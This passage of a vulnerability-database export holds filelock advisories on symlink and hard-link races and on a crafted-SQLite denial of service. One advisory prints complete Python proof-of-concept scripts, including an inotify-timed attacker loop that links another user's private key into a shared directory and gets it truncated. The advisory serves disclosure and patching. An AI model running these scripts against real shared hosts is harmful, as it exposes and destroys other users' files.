40 runs a blocking acquire met its first `PermissionError` after 0.1 to 0.7 s.\n\nIn the maintainers' triage the reproducer prints `BUG` on the scanned commit `b831496` and on the 4.2.0 release image. The independent review (`soft-open`) confirmed the mechanism and checked on macOS that `os.access` there supports `follow_symlinks`, relevant to the platform note above.\n\n## Impact\n\nA local user who can write the directory of a soft lock learns, for a path of its choosing, whether that path exists and is writable by the user taking the lock. That includes paths under directories the other user cannot search (a `0700` home or project tree; any path when root takes the lock), one bit per acquire it watches, repeatable with a different target each time. The reproducer shows the existence half; a read-only file of the lock user gives the same `PermissionError` as a missing name. The lock opens, creates and modifies nothing through the symlink, and the acquire itself is not redirected. The other user can already deny the lock by planting a marker, so the early `PermissionError` is not a new availability effect. This is the disclosure PR #567 closed, reachable again through the call PR #728 added.\n\n## Workarounds\n\n- Keep soft-lock directories writable only by the lock's own account, or use a sticky world-writable directory on Linux with `fs.protected_symlinks=1` (the default), where the kernel refuses to follow another user's symlink and the check leaks nothing.\n- Do not take soft locks as root in directories other users can write.\n- Where a group-shared directory is unavoidable, give the marker an owner-write bit (the default mode does) and do not rely on ACL-granted access, so the `os.access` branch is not reached for the lock user's own marker. The other user's planted `0466` file still reaches it, so this only narrows the window.\n\n## Patched version\n\n4.2.1.\n\nFix: https://github.com/tox-dev/filelock/pull/835\n\n## Credits\n\nReported by Anthropic's OSS Scanner (automated analysis), 15 October 2026; reviewed by the maintainers.\n\n- 2026-10-15 23:08 UTC: report received (36 findings; this one rated medium by the scanner)\n- 2026-10-16 05:38 UTC: draft advisory created (first as part of GHSA-69hj-f68j-2879, then split out)\n- 2026-10-16 01:16 UTC: fix PR #835 opened","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N"}],"references":[{"type":"WEB","url":"https://github.com/tox-dev/filelock/security/advisories/GHSA-9j6q-wvj5-jgjg"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112912"},{"type":"WEB","url":"https://github.com/tox-dev/filelock/pull/835"},{"type":"WEB","url":"https://github.com/tox-dev/filelock/commit/e1e825b1992f69fb6b346dc395d5ae4893536c0a"},{"type":"PACKAGE","url":"https://github.com/tox-dev/filelock"},{"type":"WEB","url":"https://github.com/tox-dev/filelock/releases/tag/4.2.1"}]},{"schema_version":"1.7.3","id":"BREW-ansible-lint-CVE-2026-112914","published":"2026-10-29T21:31:26Z","modified":"2026-11-08T08:37:05Z","upstream":["GHSA-crv4-6mhj-j5jh","CVE-2026-112914"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible-lint","purl":"pkg:brew/ansible-lint"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"26.10.0"},{"fixed":"26.10.1_1"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"4.2.1","resource":"filelock","resource_purl":"pkg:pypi/filelock@4.2.9"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"filelock","subject_version":"4.2.9","key":"pkg:pypi/filelock@4.2.9","resource":"filelock"}]},"summary":"filelock: SoftFileLock stale-break restore follows a swapped-in symbolic link and hard-links a file of the user running the lock into the lock directory","details":"When a soft-lock stale break finds that the marker (the lock file at `<path>`) it renamed aside was a live one recreated by a successor, the restore branch of `break_lock_file()` checks the break name with `lstat` (a check that reads a name without following a symbolic link) and then calls `os.link(break_path, lock_file)` by name. On CPython 3.12 and later on Linux (and on macOS) that call follows a symbolic link (a file that redirects to another path). A local user (the other user below) who can write a shared lock directory without the sticky bit (a directory flag that lets only a file's owner rename or remove it) replaces the break name with a symbolic link between those two calls.\n\nThe `SoftFileLock`, `MarkerSoftFileLock`, `SoftFileLease` or `lifetime` break of the user running the lock (the lock user below) then creates a hard link (a second name for the same file), in that directory, to any of the lock user's own files on the same filesystem. That includes files inside directories the other user cannot enter and links that `fs.protected_hardlinks` (a Linux setting that forbids hard links to files one does not own) refuses the other user when it asks itself. The link exposes the file's size, times, mode and owner, keeps the inode (the kernel's identity for a file, independent of its name) alive, and gives the other user a name it can move. On 4.2.0 a later `FileLock` of the lock user on that name truncated the file. Affected versions: filelock >= 4.1.0 and <= 4.2.0 (finding `ANT-2026-SB29HIAL`).\n\n## Severity\n\n**CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:H/A:N, 5.3 (Medium).**\n\n`AV:L` (local): the other user needs an account on the same host. `AC:H` (high attack complexity): two short races against a few lines of Python, timed by inotify (a Linux facility that reports file events), and the lock user must take the lock again and again (the scanner won 10 runs out of 10 after 9 to 910 lock cycles). `PR:L` (low privileges): an unprivileged account is enough. `UI:N` (no user interaction): the lock user's process acts on its own. `C:L` (low confidentiality impact): the file's metadata through the new name, not its content. `I:H` (high integrity impact): the other user chooses the file, and whatever the lock user later does to names in that directory lands on it. On 4.2.0 the lock user's own `FileLock` truncated the 17-byte private file to 0 bytes and, with a permissive `mode`, would have changed its mode too. `A:N` (no availability impact): the lock keeps working.\n\nClassification from the review: security, conditional on a shared parent without the sticky bit, which crosses the protected-directory boundary. The scanner rated it high (CWE-363). This is an earlier-public-context finding. #786 added the restore branch and guarded a symbolic link already present when `lstat` runs, not one swapped in after it.\n\n## Scope and preconditions\n\n- The other user can write the lock directory, and it has no sticky bit: a `0777` or group-writable cache or project directory. In a root-owned `1777` directory the unprivileged lock user cannot rename the other user's marker and only waits. In a `1777` directory the lock user owns, `fs.protected_symlinks=1` (a Linux setting that refuses to follow another user's symbolic link in a world-writable sticky directory) makes the `link` fail with `EACCES` (permission denied). Testing showed no effect in sticky directories.\n- The interpreter's `os.link` follows symbolic links. CPython 3.14 on Linux issues `linkat(..., AT_SYMLINK_FOLLOW)`. CPython 3.11 issues `link(2)`, which links the symbolic link itself, and is not affected. The scanner did not test 3.12 and 3.13. On macOS `link(2)` follows (confirmed in our review on macOS 27.0.1: a plain `os.link` of a symbolic link gave the target `st_nlink` 2, that is two names).\n- The target file and the lock directory are on the same filesystem (hard links cannot cross filesystems), and the lock user takes the lock more than once.\n- Every soft-lock path reaches the branch: `SoftFileLock`, `MarkerSoftFileLock`, `SoftFileLease` and the `lifetime` break. The native `FileLock` does not, but it is the consumer that turns the planted link into a truncation.\n\nfilelock's checks against another local user hold only when no other user can replace the lock's directory or any of its ancestors. That is the case when each ancestor belongs to the lock user or root and is either not writable by others or sticky. A user who can rename entries in a non-sticky directory above the lock controls every name below it, which no file-based lock can defend against. This finding is about what the lock itself adds inside such a directory, a hard link the other user cannot make on its own.\n\n## Affected code\n\nAt the scanned commit b831496, the restore branch of [`break_lock_file`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_util.py#L113-L122) runs for [`SoftFileLock._try_break_stale_lock`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft.py#L107-L123), [`MarkerSoftFileLock`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_marker.py#L74-L81), [`SoftFileLease`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_lease.py#L229-L256) and the [`lifetime` break](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_api.py#L1576-L1588). The truncation in [`UnixFileLock._finalize_locked_fd`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_unix.py#L150-L154) is what a later native lock on the planted name did to the file (reported in its own advisory).\n\n## Introduced\n\nfc73fc51e137 (\"fix(soft): restore a live marker a stale break moved aside\", #786, 2026-10-08), first released in 4.1.0 (verified against the tags). Releases before 4.1.0 have no restore branch, so this does not affect them.\n\n## Mechanism\n\n```python\n# src/filelock/_util.py:115-122\nbreak_path: Final[str] = f\"{lock_file}.break.{os.getpid()}.{secrets.token_hex(16)}\"\nPath(lock_file).rename(break_path)\nif (st_after := os.lstat(break_path)).st_mtime <= mtime_before and st_after.st_ino == ino_before:\n    Path(break_path).unlink()\nelif stat.S_ISREG(st_after.st_mode) and _HAS_LINK:  # pragma: needs hard-link\n    with suppress(FileExistsError):\n        os.link(break_path, lock_file)\n        Path(break_path).unlink()\n```\n\nThe `S_ISREG` test (is it a regular file) is about what `lstat` saw on line 117, not about what `link` resolves on line 121. The docstring says the code must not put a symbolic link back \"because `link` would follow a symlink to its target\", and the test at the scanned commit names the consequence (\"publish the victim file's inode at the lock path\"), but that test only covers a symbolic link that is already there when `lstat` runs. The 128-bit token stops others from guessing the break name, not from reading it. The name is in the directory listing from the moment the rename has happened. The package's other links pass `follow_symlinks=False` where the runtime honours it; this one does not. An `strace` (a tool that logs a process's system calls) on CPython 3.14.8 shows `os.link(a, b)` as `linkat(AT_FDCWD, a, AT_FDCWD, b, AT_SYMLINK_FOLLOW)`.\n\nThe other user plays both the stale holder and the \"successor\" the branch exists for:\n\n1. The other user leaves a genuine marker of a dead process at the lock path (a forked child takes the lock and `_exit`s). The lock user's `_try_break_stale_lock()` reads it and `owner_is_stale()` agrees, so `break_lock_file()` renames it to `app.lock.break.<pid>.<token>`. In a directory without the sticky bit the lock user may rename a file it does not own.\n2. The other user still owns that file and gives it a newer mtime (modification time) after the `lstat` on line 113. Line 117 then takes it for a recreated marker, and line 119 sees a regular file.\n3. The other user renames a symbolic link to the lock user's private file over the break name.\n4. Line 121 resolves the link with the lock user's credentials, so `app.lock` becomes a second hard link to the private file. Line 122 removes the symbolic link.\n\nThe other user's own `os.link()` on the private file fails with `EACCES` (it cannot enter the `0700` directory). On a file of the lock user it can reach, `fs.protected_hardlinks=1` answers `EPERM` (operation not permitted). The lock user would evict the odd \"marker\" after `MALFORMED_LOCK_AGE_THRESHOLD` (2 s), so the other user moves it to another name first, which the non-sticky directory allows. Both steps are races against a few lines of Python. There are about 40 µs between the `lstat` on line 113 and the one on line 117 (half of it the `rename`), and about 2 µs between line 117 and the `os.link()` call. inotify tells the other user when to act. A watch reports the lock user closing the marker after reading it, then the rename together with the break name. A bump that comes before line 113 costs nothing, since line 113 returns and the lock user looks again on its next poll.\n\n## Reproduction\n\nThe scanner's reproducer for finding `ANT-2026-SB29HIAL`, as received, ran against commit b831496b0273ecd11bf02b8d080ca8b673a538c1. The `repro` script drives the files under `repro.d/`.\n\n**`repro`**\n\n```python\n#!/usr/bin/env python3\nimport os\nimport shutil\nimport subprocess\nimport sys\n\nsys.stdout.reconfigure(line_buffering=True)\n\nSHARED_DIR = \"/tmp/shared-locks\"\nLOCK_PATH = SHARED_DIR + \"/app.lock\"\nPRIVATE_DIR = \"/home/victim/private\"\nKEY_PATH = PRIVATE_DIR + \"/signing.key\"\nAS_VICTIM = {\"user\": \"victim\", \"group\": \"victim\", \"extra_groups\": []}\nAS_ATTACKER = {\"user\": \"attacker\", \"group\": \"attacker\", \"extra_groups\": []}\n# strace alters no call. On calls that name the lock path it holds the victim 2 s after rename() and 2 s before\n# linkat(), that is on both sides of the lstat of the break name in break_lock_file() (src/filelock/_util.py:117).\nSLOWED_DOWN = [\"strace\", \"-o\", \"/dev/null\", \"-P\", LOCK_PATH, \"-e\", \"trace=rename,linkat\"]\nSLOWED_DOWN += [\"-e\", \"inject=rename:delay_exit=2000000\", \"-e\", \"inject=linkat:delay_enter=2000000\"]\n\n# set up: the victim's key in a 0700 directory, and a lock directory anyone can write, without the sticky bit\nshutil.rmtree(PRIVATE_DIR, ignore_errors=True)\nos.mkdir(PRIVATE_DIR, 0o700)\nwith open(KEY_PATH, \"w\") as key_file:\n    key_file.write(\"0123456789abcdef\\n\")\nos.chmod(KEY_PATH, 0o600)\nshutil.chown(PRIVATE_DIR, \"victim\", \"victim\")\nshutil.chown(KEY_PATH, \"victim\", \"victim\")\nshutil.rmtree(SHARED_DIR, ignore_errors=True)\nos.mkdir(SHARED_DIR)\nos.chmod(SHARED_DIR, 0o777)\nkey_before = os.stat(KEY_PATH)\nprint(f\"{KEY_PATH}: links={key_before.st_nlink} size={key_before.st_size}\")\nfor knob in (\"protected_hardlinks\", \"protected_symlinks\"):\n    print(f\"fs.{knob} =\", open(f\"/proc/sys/fs/{knob}\").read().strip())\n\n# control: the attacker cannot give the key a name in the shared directory by itself\nlink_by_attacker = f\"import os; os.link({KEY_PATH!r}, {SHARED_DIR + '/by-attacker'!r})\"\ncontrol = subprocess.run([sys.executable, \"-c\", link_by_attacker], capture_output=True, text=True, **AS_ATTACKER)\nprint(\"CONTROL the attacker's own link() of the key:\", control.stderr.strip().splitlines()[-1])\n\n# attack: the victim takes an ordinary SoftFileLock while the attacker works on the break name\nsubprocess.run([sys.executable, \"/tmp/repro.d/plant_stale_marker.py\", LOCK_PATH], check=True, **AS_ATTACKER)\nattacker = subprocess.Popen([sys.executable, \"/tmp/repro.d/swap_break_name.py\", LOCK_PATH, KEY_PATH], **AS_ATTACKER)\nvictim_job = [*SLOWED_DOWN, sys.executable, \"/tmp/repro.d/victim_job.py\", LOCK_PATH]\nsubprocess.run(victim_job, check=True, timeout=60, **AS_VICTIM)\nassert attacker.wait(timeout=30) == 0, \"the attacker did not get through its steps\"\n\n# check, as root: does the key now have a name in the shared directory?\nkey_after = os.stat(KEY_PATH)\nnames_of_the_key = [\n    name for name in os.listdir(SHARED_DIR) if os.path.samestat(key_after, os.lstat(f\"{SHARED_DIR}/{name}\"))\n]\nprint(f\"OBSERVED {KEY_PATH}: links={key_after.st_nlink}, names in {SHARED_DIR} with its inode: {names_of_the_key}\")\n\nif names_of_the_key:\n    # what that name is good for: another program of the victim takes a FileLock there, which truncates the file\n    shared_name = f\"{SHARED_DIR}/{names_of_the_key[0]}\"\n    victim_other_job = [sys.executable, \"/tmp/repro.d/victim_other_job.py\", shared_name]\n    subprocess.run(victim_other_job, check=True, timeout=60, **AS_VICTIM)\n    print(f\"OBSERVED {KEY_PATH}: size={os.stat(KEY_PATH).st_size} after the victim's FileLock({shared_name!r})\")\n\nprint(\"BUG\" if control.returncode != 0 and names_of_the_key else \"OK\")\n```\n\n**`repro.d/plant_stale_marker.py`**\n\n```python\nimport os\nimport sys\n\nfrom filelock import SoftFileLock\n\n# a genuine marker of a holder that died: a child takes the lock and exits without releasing it\nif (child := os.fork()) == 0:\n    holder = SoftFileLock(sys.argv[1])  # kept referenced: a collected lock releases itself\n    holder.acquire()\n    os._exit(0)\nos.waitpid(child, 0)\nprint(\"attacker: left\", sys.argv[1], \"held by pid\", child, \"which has exited\", flush=True)\n```\n\n**`repro.d/swap_break_name.py`**\n\n```python\nimport glob\nimport os\nimport sys\nimport time\n\nlock_path, key_path = sys.argv[1:]\nkept_path = os.path.join(os.path.dirname(lock_path), \"other.lock\")\n\n# the victim judged the marker stale and renamed it to <lock>.break.<pid>.<random>; anyone can list the directory\ndeadline = time.monotonic() + 30\nwhile not (break_paths := glob.glob(lock_path + \".break.*\")):\n    assert time.monotonic() < deadline, \"the victim never moved the marker aside\"\n    time.sleep(0.01)\n[break_path] = break_paths\nprint(\"attacker: the victim renamed the marker to\", os.path.basename(break_path), flush=True)\n\n# still the attacker's file: a newer mtime makes the victim take it for a marker a live holder recreated, and restore it\nos.utime(break_path)\n\ntime.sleep(3)  # repro holds the victim 2 s before its lstat of the break name and 2 s more before its link\nos.symlink(key_path, lock_path + \".symlink\")\nos.rename(lock_path + \".symlink\", break_path)\nprint(\"attacker: replaced\", os.path.basename(break_path), \"with a symlink to\", key_path, flush=True)\n\n# the victim would evict what it linked at the lock path as a malformed marker after 2 s: keep it under another name\ndeadline = time.monotonic() + 5\nwhile not os.path.lexists(lock_path) and time.monotonic() < deadline:\n    time.sleep(0.01)\ntry:\n    os.rename(lock_path, kept_path)\n    print(\"attacker: renamed\", os.path.basename(lock_path), \"to\", kept_path, flush=True)\nexcept FileNotFoundError:\n    print(\"attacker: the victim linked nothing at\", os.path.basename(lock_path), flush=True)\n```\n\n**`repro.d/unpaused_attacker.py`**\n\n```python\n#!/usr/bin/env python3\n\"\"\"Optional, not run by repro: the two steps of swap_break_name.py, timed by inotify against a victim that nobody pauses.\"\"\"\nimport ctypes\nimport os\nimport random\nimport struct\nimport sys\nimport time\n\nfrom filelock import SoftFileLock\n\nlock_path, victim_file, kept_name = sys.argv[1:]\nos.chdir(os.path.dirname(lock_path))\nlock_name = os.path.basename(lock_path).encode()\nIN_NONBLOCK, IN_CLOSE_NOWRITE, IN_MOVED_TO = 0o4000, 0x10, 0x80\n\n\ndef spin(microseconds):\n    until = time.perf_counter() + microseconds / 1e6\n    while time.perf_counter() < until:\n        pass\n\n\n# The bytes of a genuine marker of a dead process.\nif os.fork() == 0:\n    crashed_holder = SoftFileLock(lock_path)\n    crashed_holder.acquire()\n    os._exit(0)\nos.wait()\nwith open(lock_name, \"rb\") as marker_file:\n    stale_marker = marker_file.read()\nos.unlink(lock_name)\n\nlibc = ctypes.CDLL(None)\ninotify = libc.inotify_init1(IN_NONBLOCK)\nlibc.inotify_add_watch(inotify, b\".\", IN_MOVED_TO)\nmarker_mtime = 1_000_000_000\nlock_cycles = 0\nwhile True:\n    lock_cycles += 1\n    os.symlink(victim_file, b\"symlink\")\n    marker = os.open(b\"staged\", os.O_CREAT | os.O_EXCL | os.O_WRONLY, 0o644)\n    os.write(marker, stale_marker)\n    os.utime(marker, (marker_mtime, marker_mtime))\n    marker_watch = libc.inotify_add_watch(inotify, b\"staged\", IN_CLOSE_NOWRITE)\n    while True:  # plant it as soon as the victim has released the lock\n        try:\n            os.link(b\"staged\", lock_name)\n            break\n        except FileExistsError:\n            pass\n    os.unlink(b\"staged\")\n\n    break_name = None\n    while break_name is None:\n        try:\n            events = os.read(inotify, 4096)\n        except BlockingIOError:\n            continue\n        while events and break_name is None:\n            _, mask, _, name_length = struct.unpack_from(\"iIII\", events)\n            name = events[16 : 16 + name_length].rstrip(b\"\\0\")\n            events = events[16 + name_length :]\n            if mask & IN_CLOSE_NOWRITE:\n                # The victim has read the marker and is about to judge it stale and lstat it again. A bump that comes\n                # before that lstat only makes the victim start over on its next poll.\n                spin(random.uniform(40, 100))\n                marker_mtime += 1\n                os.utime(marker, (marker_mtime, marker_mtime))\n            elif name.startswith(lock_name + b\".break.\"):\n                # The victim has renamed the marker and is about to lstat the break name and link it back.\n                os.rename(b\"symlink\", name)\n                break_name = name\n    libc.inotify_rm_watch(inotify, marker_watch)\n    os.close(marker)\n\n    time.sleep(0.001)\n    try:\n        at_lock_path = os.lstat(lock_name)\n        if at_lock_path.st_uid != os.getuid() and at_lock_path.st_nlink == 2:\n            os.rename(lock_name, kept_name)\n            print(f\"after {lock_cycles} lock cycles the victim linked its file here as {kept_name!r}:\", at_lock_path)\n            break\n    except FileNotFoundError:\n        pass\n    for leftover in (b\"symlink\", break_name):\n        if os.path.lexists(leftover):\n            os.unlink(leftover)\n    try:\n        os.read(inotify, 65536)\n    except BlockingIOError:\n        pass\n```\n\n**`repro.d/unpaused_victim.py`**\n\n```python\n#!/usr/bin/env python3\n\"\"\"Optional, not run by repro: a victim job that takes the SoftFileLock again and again, paused by nobody.\"\"\"\nimport sys\nimport time\n\nfrom filelock import SoftFileLock\n\nlock = SoftFileLock(sys.argv[1])\nwhile True:\n    with lock:\n        time.sleep(0.005)\n    time.sleep(0.005)\n```\n\n**`repro.d/victim_job.py`**\n\n```python\nimport sys\n\nfrom filelock import SoftFileLock\n\nwith SoftFileLock(sys.argv[1]):\n    print(\"victim: holds\", sys.argv[1], flush=True)\n```\n\n**`repro.d/victim_other_job.py`**\n\n```python\nimport sys\n\nfrom filelock import FileLock\n\nwith FileLock(sys.argv[1]):\n    print(\"victim: holds\", sys.argv[1], flush=True)\n```\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n    participant X as other local user (uid 1001)\n    participant D as /tmp/shared-locks (0777, not sticky)\n    participant V as SoftFileLock of the lock user (uid 1000)\n    participant K as ~victim/private/signing.key (0600 in a 0700 dir)\n    X->>D: child takes app.lock and _exit()s: dead-holder marker owned by X\n    V->>D: read marker, owner_is_stale, lstat ok: rename app.lock to app.lock.break.*\n    rect rgb(255, 214, 214)\n        X->>D: inotify sees the rename: utime the break file (newer mtime)\n        V->>D: lstat break name: mtime newer, S_ISREG: treat as a recreated live marker\n        X->>D: rename a symbolic link to signing.key over the break name\n        V->>K: os.link(break name, app.lock) follows the symbolic link: app.lock is a second name of the file\n        X->>D: rename app.lock to other.lock before the 2 s eviction\n        Note over V,K: the lock user's FileLock(\"other.lock\") on 4.2.0 truncates the file to 0 bytes\n    end\n```\n\n## Evidence\n\nThe scanner's reproducer takes about 5 s and is deterministic. Root creates `/home/victim/private` (`0700`) with `signing.key` (17 bytes, `0600`) and `/tmp/shared-locks` (`0777`, no sticky bit), with `fs.protected_hardlinks = 1` and `fs.protected_symlinks = 1`. In the control step, the `attacker` account runs `os.link(key, /tmp/shared-locks/by-attacker)` and gets `Permission denied`. Then the `attacker` child leaves `app.lock held by pid 253 which has exited`. The `victim` account runs `with SoftFileLock(path)` under `strace -P ... -e inject=rename:delay_exit=2000000 -e inject=linkat:delay_enter=2000000`, which holds it 2 s after its `rename()` and 2 s before its `linkat()` without changing any call. The `attacker` account bumps the break file, swaps in the symbolic link, and renames `app.lock` to `other.lock`.\n\nThe result line reads `signing.key: links=2, names in /tmp/shared-locks with its inode: ['other.lock']`, and after the `victim` account's second program takes `FileLock('/tmp/shared-locks/other.lock')`, `size=0`. Verdict `BUG`. The unpaused variant (`unpaused_victim.py` looping on the lock, `unpaused_attacker.py` timing both steps with inotify) won 10 runs out of 10 on the 2-CPU image after 9 to 910 lock cycles (1 to 65 s); one run won after 128 cycles (8 s).\n\nOur review: BUG on 4.2.0 (triage), OK on the head of #843. On macOS 27.0.1 (CPython 3.13.16) a plain `os.link` of a symbolic link follows it (target `st_nlink` 2) while `follow_symlinks=False` links the symbolic link itself, which confirms the report's macOS note.\n\n## Impact\n\nA local user who can write a lock directory that has no sticky bit makes a user of a soft lock in that directory create a hard link there to one of that user's own files on the same filesystem, including files inside directories the other user cannot enter. The content stays unreadable, but the other user now reads size, times, mode and owner of the file through the new name, keeps the inode alive after the lock user deletes or rotates the file, and holds what `fs.protected_hardlinks` exists to deny, a name it can move around for someone else's file.\n\nWhatever the lock user later does to names in that directory lands on the file, and filelock 4.2.0 was such a consumer itself. `UnixFileLock._finalize_locked_fd()` ran `os.ftruncate(fd, 0)` on whatever regular file `O_NOFOLLOW` let it open. The other user moved the link to `other.lock`, the lock user took `FileLock(\"other.lock\")`, and the 17-byte private file became 0 bytes. The other user can also move the link into sticky `/tmp` on the same filesystem before the lock user locks it there, and a `FileLock` with a permissive `mode` such as `0o666` applied that mode to the private file too, after which the other user could write its content.\n\nOn its own, without such a second lock, the result is the link and the metadata above. The other user has to win two short races and needs the lock user to take the lock more than once. Not affected: sticky directories on the tested settings, CPython 3.11 on Linux, releases before 4.1.0.\n\n## Workarounds\n\nKeep soft locks out of directories other users can write without the sticky bit; a `0700` directory of the lock's user, or a sticky directory, is not affected. On CPython 3.11 on Linux the swap has no effect. Do not take a native `FileLock` on a name another user controls.\n\n## Patched version\n\n4.2.1.\n\nFix: https://github.com/tox-dev/filelock/pull/843\n\n## Credits\n\nReported by Anthropic's OSS Scanner (automated analysis), 15 October 2026; reviewed by the maintainers.\n\n- 2026-10-15 23:08 UTC: report received (finding `ANT-2026-SB29HIAL`, scanned commit b831496b0273; related earlier-public work: #786)\n- 2026-10-16 01:42 UTC: fix PR #843 opened\n- 2026-10-16 05:38 UTC: draft advisory created","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:H/A:N"}],"references":[{"type":"WEB","url":"https://github.com/tox-dev/filelock/security/advisories/GHSA-crv4-6mhj-j5jh"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112914"},{"type":"WEB","url":"https://github.com/tox-dev/filelock/pull/843"},{"type":"WEB","url":"https://github.com/tox-dev/filelock/commit/740ff666b62a88496c8d7394e4e6230605e4d62b"},{"type":"PACKAGE","url":"https://github.com/tox-dev/filelock"},{"type":"WEB","url":"https://github.com/tox-dev/filelock/releases/tag/4.2.1"}]},{"schema_version":"1.7.3","id":"BREW-ansible-lint-CVE-2026-112915","published":"2026-10-29T21:31:26Z","modified":"2026-11-08T08:37:05Z","upstream":["GHSA-cwqr-hh33-gh44","CVE-2026-112915"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible-lint","purl":"pkg:brew/ansible-lint"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"26.1.1_1"},{"fixed":"26.10.1_1"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"4.2.1","resource":"filelock","resource_purl":"pkg:pypi/filelock@4.2.9"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"filelock","subject_version":"4.2.9","key":"pkg:pypi/filelock@4.2.9","resource":"filelock"}]},"summary":"filelock ReadWriteLock: a crafted lock database makes every acquire stall or hang regardless of timeout","details":"`ReadWriteLock` and `AsyncReadWriteLock` (the SQLite-backed reader/writer lock) run `PRAGMA journal_mode=MEMORY` on a fresh connection for every acquire. That statement makes SQLite load the whole schema (the `sqlite_master` table, which lists every table and index with its `CREATE` text) of whatever file sits at the lock path. The caller's `timeout` reaches SQLite only as `busy_timeout`, which bounds waits for another connection's lock, not schema loading. The only content checks reject non-regular files and WAL mode (write-ahead log, an SQLite mode that keeps changes in a side file). A local user who can place or overwrite the file at a `ReadWriteLock`'s database path can therefore make every `acquire_read` / `acquire_write` of every process using that lock ignore its `timeout` and `blocking=False`. That position needs a non-sticky shared directory, or a database owned by the user running the lock (below: the lock user) that other users may write.\n\nOne 37 KB crafted file stalls each acquire for as long as its author chooses while the process allocates about 1 GB. A second 28 KB layout makes the acquire of a free lock run without end, spinning at 100% CPU and ignoring Ctrl-C. The effect is availability only: the other user reads nothing and corrupts nothing. Affected versions are filelock 3.20.4 through 4.2.0.\n\nAnthropic's OSS Scanner reported this in private as `ANT-2026-NFPRHMYJ` [medium, CWE-400]: ReadWriteLock: crafted lock database hangs acquire regardless of timeout.\n\n## Severity\n\n**CVSS 3.1 `CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H` scores 5.5 (Medium).** `AV:L` (local): the other user needs an account on the same host. `PR:L` (low privileges): an ordinary account is enough. `AC:L` (low attack complexity): the other user plants one file; no race. `UI:N` (no user interaction). `A:H` (high availability impact): every acquire of every process using the lock runs for as long as that user chose, or does not return, with `timeout` and `blocking=False` ignored and `SIGINT` not delivered, so only killing the process ends it. `C:N` and `I:N` (no confidentiality or integrity impact): the other user reads nothing and corrupts nothing. `S:U` (scope unchanged).\n\nClassification from the external review: **conditional security**, an availability concern only when an untrusted actor can supply the database file (it needs a writable or replaceable database path). The scanner rated it medium. The review agrees with the mechanism and the precondition.\n\n## Scope and preconditions\n\n- The other party is a different local account that can create or replace the file at the lock path. One way: the lock directory is writable by that account and not sticky (the sticky bit is a directory flag that lets only a file's owner remove or rename it), for example a group-writable project or cache directory. There the account can be the first to create the database, or rename the lock user's database aside and put the crafted one in its place. The other way: the lock user's own database is writable by that account (`0666`), which is the setup a lock shared between accounts needs. In a `1777` directory the scanner wrote the crafted file over such a database in place, and the lock user's next acquire hung. The lock user must be able to open the file read-write, so a file the other user creates is `0666`.\n- Sticky directories and kernel settings. In a sticky world-writable directory such as `/tmp`, Linux with `fs.protected_regular=2` (a kernel setting) refuses the lock user's `O_CREAT` open of a file owned by the other account with `EACCES`. A database owned by the other user does not work there. That does not cover a `0666` database owned by the lock user. The scanner did not test systems with `fs.protected_regular=0` (the kernel's own default).\n- Platform. Every platform runs the same statements. On Windows the documentation already requires a lock directory that untrusted users cannot write, so the shared-directory setup is outside what the project supports there.\n- Ancestor boundary. Protection against another local user is possible only while no other user can replace the lock's directory or any of its ancestors. That holds when each ancestor belongs to the user or root and is either not writable by others or sticky.\n\n## Affected code\n\nAt the scanned commit `b831496b0273`: [`_configure_and_begin` runs `PRAGMA busy_timeout=...; PRAGMA journal_mode=MEMORY;` on a fresh connection](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L814-L816), and for a read lock [`SELECT name FROM sqlite_master LIMIT 1` at line 832](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L832). The code in [`_do_acquire_inner` closes the previous connection and opens a new one on every acquire](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L745-L754). The only content checks are [`_open_lock_database`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L1079-L1091) (regular file) and [`_raise_if_wal`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L1094-L1101) (20 header bytes).\n\n## Introduced\n\nThe acquire path dates from `cfd4446` (\"feat(lock): add SQLite-based ReadWriteLock (#399)\", 2026-02-12), first released in **3.20.4** (verified: `git tag --contains cfd4446` gives 3.20.4). Since #657 (3.30.0) the lock reopens the connection on every acquire, so the stall repeats on every acquire rather than once per instance.\n\n## Mechanism\n\n`PRAGMA journal_mode=MEMORY` is the first statement that needs the schema. SQLite reads every row of `sqlite_master` and parses each row's `sql` text there. Run one at a time on the crafted file, `PRAGMA busy_timeout` returns at once and `PRAGMA journal_mode=MEMORY` takes the whole time. The read-mode 